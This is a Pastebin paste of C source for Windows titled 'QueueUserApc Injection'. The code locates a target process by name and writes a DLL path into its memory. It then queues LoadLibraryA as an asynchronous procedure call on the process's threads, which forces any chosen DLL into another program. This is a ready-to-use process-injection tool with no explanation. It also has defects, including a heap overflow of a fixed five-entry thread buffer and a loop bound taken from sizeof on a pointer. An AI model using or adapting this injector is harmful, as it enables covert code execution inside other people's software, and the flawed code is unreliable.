Advertisement
Guest User

QueueUserApc Injection

a guest
Jul 22nd, 2019
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.84 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <Windows.h>
  4. #include <TlHelp32.h>
  5.  
  6.  
  7.  
  8. DWORD *find_process_pid(char *exe_name)
  9. {
  10.     DWORD* threads_list = (DWORD*)malloc(sizeof(DWORD) * 5);
  11.     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
  12.  
  13.    
  14.     int i = 0;
  15.  
  16.     if (hSnapshot == INVALID_HANDLE_VALUE)
  17.     {
  18.         return NULL;
  19.     }
  20.     PROCESSENTRY32 pe = { sizeof(pe) };
  21.  
  22.     if (Process32First(hSnapshot, &pe))
  23.     {
  24.         do {
  25.             if (strcmp(pe.szExeFile, exe_name) == 0)
  26.             {
  27.                 THREADENTRY32 te = { sizeof(te) };
  28.                 threads_list[0] = pe.th32ProcessID;
  29.                 if (Thread32First(hSnapshot, &te)) {
  30.                     do {
  31.                         if (te.th32OwnerProcessID == threads_list[0]) {
  32.                             i++;
  33.                             threads_list[i] = (te.th32ThreadID);
  34.                            
  35.                         }
  36.                     } while (Thread32Next(hSnapshot, &te));
  37.                 }
  38.                 break;
  39.             }
  40.         } while (Process32Next(hSnapshot, &pe));
  41.     }
  42.     return threads_list;
  43. }
  44.  
  45. int main(int argc, CHAR* argv[])
  46. {
  47.     HMODULE handle = GetModuleHandle("kernel32.dll");
  48.     FARPROC load_library = GetProcAddress(handle, "LoadLibraryA");
  49.     DWORD *threads = (DWORD*)malloc(sizeof(DWORD) * 5);
  50.     //threads = {0}
  51.     threads = find_process_pid(argv[1]);
  52.     printf("Process id is: %d\n", threads[0]);
  53.     printf("Thread id is: %d\n", threads[1]);
  54.     printf("Thread id is: %d\n", threads[2]);
  55.     printf("Thread id is: %d\n", threads[3]);
  56.  
  57.     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, threads[0]);
  58.     LPVOID remote_address = VirtualAllocEx(hProcess, NULL, strlen(argv[2]) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  59.     WriteProcessMemory(hProcess, remote_address, argv[2], strlen(argv[2]), NULL);
  60.  
  61.     for (int i = 1; i < sizeof(threads); i++)
  62.     {
  63.    
  64.             HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threads[i]);
  65.             if (hThread) {
  66.                 QueueUserAPC((PAPCFUNC)load_library, hThread, (ULONG_PTR)remote_address);
  67.             }
  68.  
  69.     }
  70.     return 0;
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement